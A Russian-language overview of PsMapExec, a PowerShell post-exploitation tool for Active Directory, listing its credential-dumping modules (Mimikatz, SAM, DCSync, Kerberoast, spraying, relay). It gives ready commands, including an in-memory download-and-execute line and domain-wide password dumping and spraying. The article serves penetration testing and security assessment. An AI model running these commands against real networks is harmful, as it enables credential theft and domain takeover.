Постэксплуатация в Active Directory с помощью PsMapExec

Постэксплуатация в Active Directory с помощью PsMapExec, image #1

PsMapExec — это инструмент постэксплуатации в среде Active Directory, а также проверки безопасности и скомпрометированности систем. Причиной создания тулзы стали популярные утилиты CrackMapExec (см. Использование CrackMapExec) и NetExec. Одним из ключевых преимуществ перед CrackMapExec и NetExec — интеграция с PowerShell, что делает инструмент более гибким для пользователей, работающих в среде Windows.

Возможности PsMapExec

Инструмент поддерживает различные методы взаимодействия с системами, такие как IPMI, MSSQL, RDP, SMB и другие. Он позволяет выполнять команды на удаленных системах, проверять доступ и собирать информацию, например, снимать хэши, билеты Kerberos, пароли и т.д.

Постэксплуатация в Active Directory с помощью PsMapExec, image #2

Большой плюс тулзы — работа как с паролями, так и с хэшами или билетами для аутентификации.

Поддерживаемые методы:

  • IPMI — сбор IPMI хэшей.
  • Kerberoast — атака на Kerberos.
  • MSSQL — проверка доступа и выполнение команд.
  • RDP — проверка доступа.
  • SMB — выполнение команд, проверка доступа.
  • GenRelayList — проверка SMB-подписи.
  • Spray — перебор паролей и хэшей.
  • SessionHunter — проверка доступа, выполнение команд.
  • VNC — проверка доступа без авторизации.
  • WinRM — проверка доступа, выполнение команд.
  • WMI — проверка доступа, выполнение команд.

Поддерживаемые модули:

  • Amnesiac — выполнение пейлоадов Amnesiac.
  • ConsoleHistory — извлечение истории консоли PowerShell.
  • Files — перечень файлов в общих директориях пользователей.
  • FileZilla — извлечение учетных данных FileZilla.
  • KerbDump — извлечение билетов Kerberos.
  • eKeys — извлечение ключей шифрования из памяти (Mimikatz).
  • LogonPasswords — извлечение паролей из памяти (Mimikatz).
  • LSA — снятие дампа LSA (Mimikatz).
  • NTDS — выполнение DCsync.
  • Notepad — извлечение бэкапов блокнота.
  • NTLM — снятие NTLM-хэшей.
  • SAM — дамп SAM-хэшей.
  • SCCM — снятие локальных учетных данных SCCM и последовательностей задач.
  • SessionExec — выполнение команд в сессиях пользователей.
  • SessionRelay — ретрансляция NTLM-хэшей.
  • TGTDeleg — получение свежих TGT-билетов.
  • VNC — извлечение учетных данных VNC.
  • Wi-Fi — извлечение учетных данных Wi-Fi.
  • WinSCP — извлечение учетных данных WinSCP.

Использование PsMapExec

Скрипт можно загрузить напрямую в память:

IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/The-Viper-One/PsMapExec/main/PsMapExec.ps1")

Выполнение WMI-команд на всех системах домена с паролем:

PsMapExec -Targets all -Method WMI -Username Admin -Password Pass -Command whoami

Выполнение WinRM-команд с хэшем для аутентификации:

PsMapExec -Targets all -Method WinRM -Username Admin -Hash [Hash] -Command whoami

Проверка доступа по RDP на рабочих станциях с локальной авторизацией:

PsMapExec -Targets Workstations -Method RDP -Username LocalAdmin -Password Pass -LocalAuth

Дамп SAM с использованием SMB и аутентификации через билет:

PsMapExec -Targets DC01.Security.local -Method SMB -Ticket [Base64-Ticket] -Module SAM

Проверка SMB-подписи на всех системах домена:

PsMapExec -Targets All -Method GenRelayList

Дамп паролей на всех контроллерах домена через WinRM:

PsMapExec -Targets DCs -Method WinRM -Username Admin -Password Pass -Module LogonPasswords

Проверка текущего пользователя через WMI с системами, загруженными из файла:

PsMapExec -Targets C:\temp\Systems.txt -Method WMI

Перебор паролей на всех учетных записях домена:

PsMapExec -Method Spray -SprayPassword [Password]

Перебор хэшей на всех учетных записях с AdminCount=1:

PsMapExec -Targets "AdminCount=1" -Method Spray -SprayHash [Hash]

Атака Kerberoast:

PsMapExec -Method Kerberoast -ShowOutput

Получение целей

PsMapExec использует встроенный ADSI Searcher для получения целей. Это позволяет без проблем работать в доменной среде. По умолчанию инструмент нацелен на включенные учетные записи компьютеров Active Directory.

Все рабочие станции, серверы и контроллеры домена:

PsMapExec -Targets All

Целевые системы из файла:

PsMapExec -Targets "C:\Targets.txt"

Один IP-адрес:

PsMapExec -Targets 192.168.56.11

Диапазон IP-адресов:

PsMapExec -Targets 192.168.56.0/24

Типы аутентификации

PsMapExec поддерживает различные методы аутентификации, такие как пароль, хэш или билет.

Аутентификация текущего пользователя:

PsMapExec -Targets All -Method [Method]

С паролем:

PsMapExec -Targets All -Method [Method] -Username [Username] -Password [Password]

С хэшем:

PsMapExec -Targets All -Method [Method] -Username [Username] -Hash [RC4/AES256/NTLM]

С билетом:

PsMapExec -Targets All -Method [Method] -Ticket [doI.. OR Path to ticket file]

Выполнение команд

PsMapExec поддерживает выполнение команд с помощью параметра -Command:

PsMapExec -Targets All -Method [Method] -Command [Command]

Выполнение модулей

Для выполнения модулей используется параметр -Module:

PsMapExec -Targets All -Method [Method] -Module [Module]

Заключение

PsMapExec — крутой инструмент для работы с Active Directory, который предоставляет широкий набор функций для постэксплуатации и оценки безопасности доменной среды. Благодаря поддержке различных методов и модулей, он позволяет быстро и эффективно проверять доступ к системам, извлекать важные данные и выполнять команды на удаленных машинах.

25 views·1 share